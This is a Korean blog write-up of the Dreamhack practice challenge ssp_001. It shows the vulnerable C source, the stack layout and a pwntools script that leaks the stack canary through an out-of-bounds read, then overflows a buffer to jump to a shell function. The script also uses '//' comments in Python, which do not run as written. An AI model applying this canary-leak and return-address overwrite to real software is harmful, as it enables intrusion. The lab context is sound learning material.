워게임

[시스템 해킹] ssp_001 write-up

sewoo-jjang 2026. 2. 5. 18:28

https://dreamhack.io/wargame/challenges/33

 

로그인 | Dreamhack

페르소나 굿즈 이벤트 기간 한정 구독 혜택 지금 가입하면 연간 플랜을 최대 75% 할인 된 가격으로!

dreamhack.io

1. 소스코드 확인

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}
  • 소스코드 확인 결과 취약점은 두속으로 확인된다.
    • case P 부분에 scanf() 함수로 box의 크기를 제한 없이 불러올 수 있음
    • case E 부분에 scanf(), read() 함수로 name의 길이를 임의로 설정할 수 있어 name버퍼를 bof 시킬 수 있음
  • get_shell()함수가 있는것으로 보아 해당 함수를 이용하여 문제를 푸는것으로 확인된다.

2. 보안기법 확인

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
  • checksec 명령어로 확인해본 결과 NXbit가 켜져있고 canary가 확인되었다.

3. 주소 구하기

  • gdb를 이용하여 get_shell()함수의 주소를 쉽게 얻어낼 수 있었다.

  • gdb를 이용하여 canary의 위치가 ebp -0x8에 위치함을 확인했다.

  • IDA를 이용해서 각 변수들의 스택상 위치를 쉽게 파악할 수 있다
    • idx : ebp -0x94
    • name_len : ebp -0x90
    • select : ebp -0x8A
    • box : ebp -0x88
    • name : ebp -0x48
    • canary: ebp -0x8

  • 또한 에필로그를 확인해본 결과 edi값이 ebp -0x4 위치에 존재함이 확인되었다.

  • 그렇다면 프로그램 시작 시 P 를 눌러 box의 128 부터 131번째의 인덱스에 있는 canary를 유출시키고
  • E 를 줄러 name을 bof 시켜 유출된 카나리 값을 올바르게 넣고 retrun부부에 get_shell 함수의 주소를 넣으면 성공할 것이라 예상해본다.

4. payload 작성

from pwn import *

p = process('./ssp_001')

get_shell_addr = 0x80486b9
canary = b''

// canary 구하기
for i in range(131, 127, -1):
    p.sendlineafter(b'> ',b'P')
    p.sendlineafter(b'Element index :', str(i))
    canary += p.recvuntil('\n')[-3:-1]
canary = int(canary,16)

pay = b'a'*0x40 // name
pay += p32(canary)
pay +=b'a'*4  // edi
pay +=b'a'*4  // sfp
pay += p32(get_shell_addr)

p.recvuntil('> ')
p.sendline(b'E')
p.recvuntil('Name Size : ')
p.sendline(b'1000')
p.recvuntil('Name : ')
p.sendline(pay)
p.interactive()
  • canary는 little endian으로 저장되어 있기 떄문데 131부터 128까지 거꾸로 꺼내주었다.

5. 결과

굿~